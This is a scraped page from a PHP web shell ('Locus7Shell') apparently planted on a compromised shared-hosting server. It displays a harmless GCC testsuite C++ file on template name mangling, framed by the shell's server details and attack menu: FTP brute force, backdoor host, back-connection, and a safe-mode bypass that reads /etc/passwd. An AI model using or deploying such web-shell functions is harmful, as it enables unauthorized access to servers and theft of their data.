Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64
 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/image/photo/gcc-12.3.0/gcc/testsuite/gdc.test/runnable_cxx/extra-files/   drwxr-xr-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.77 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     externmangle2.cpp (1.74 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |

struct Test32NS1
{
    template<class X>
    struct Foo
    {
        X *v;
    };

    template<class X>
    struct Bar
    {
        X *v;
    };

};

struct Test32NS2
{
    template<class X>
    struct Foo
    {
        X *v;
    };
};

template <template <class X> class Y, template <class X> class Z>
struct Test32
{
    Y<int>* field;
};


void test32a(Test32<Test32NS1::Foo, Test32NS1::Foo> arg)
{
}

void test32b(Test32<Test32NS1::Foo, Test32NS1::Bar> arg)
{
}

void test32c(Test32<Test32NS1::Foo, Test32NS2::Foo> arg)
{
}

void test32d(Test32<Test32NS1::Foo, Test32NS2::Foo> arg1, Test32<Test32NS2::Foo, Test32NS1::Foo> arg2)
{
}


class XXX
{
};
template <void (&Goo)(XXX*, XXX**), void (&Xoo)(XXX*, XXX**)>
struct Test33
{
};

void test33a(XXX*, XXX**){}

void test33(XXX*, Test33<test33a, test33a> arg, XXX*)
{
}

template <void (&Goo)(int)>
struct Test34
{
};

struct Test34A
{
    static void foo(int);
};

void Test34A::foo(int) {}
void test34(Test34<Test34A::foo> arg)
{
}

int test36= 36;

template <int& XREF>
struct Test37
{
};

struct Test37A
{
    static int t38;
};

int Test37A::t38 = 42;

void test37(Test37<test36> arg)
{
}

void test38(Test37<Test37A::t38> arg)
{
}

struct Test39
{
    template <class X>
    struct T39A
    {
    };
};

struct T39A
{
};

void test39(Test39::T39A< ::T39A >)
{
}

#if 0 //only for g++ with -std=c++0x and Visual C++ >= 2013
    #if defined(__GNUG__) || (defined(_MSC_VER) && _MSC_VER >= 1200)
    template<class... VarArg> struct Test40
    {
    };

    void test40(Test40<int, double, void> arg)
    {
    }
    #endif


#endif


extern XXX const * const  test41 = 0;

namespace Test42
{
    extern XXX const * const  test42 = 0;
}

int test43[4] = {1, 2, 3, 4};

XXX const* const test44()
{
    return new XXX;
}

Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 

Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.0055 ]--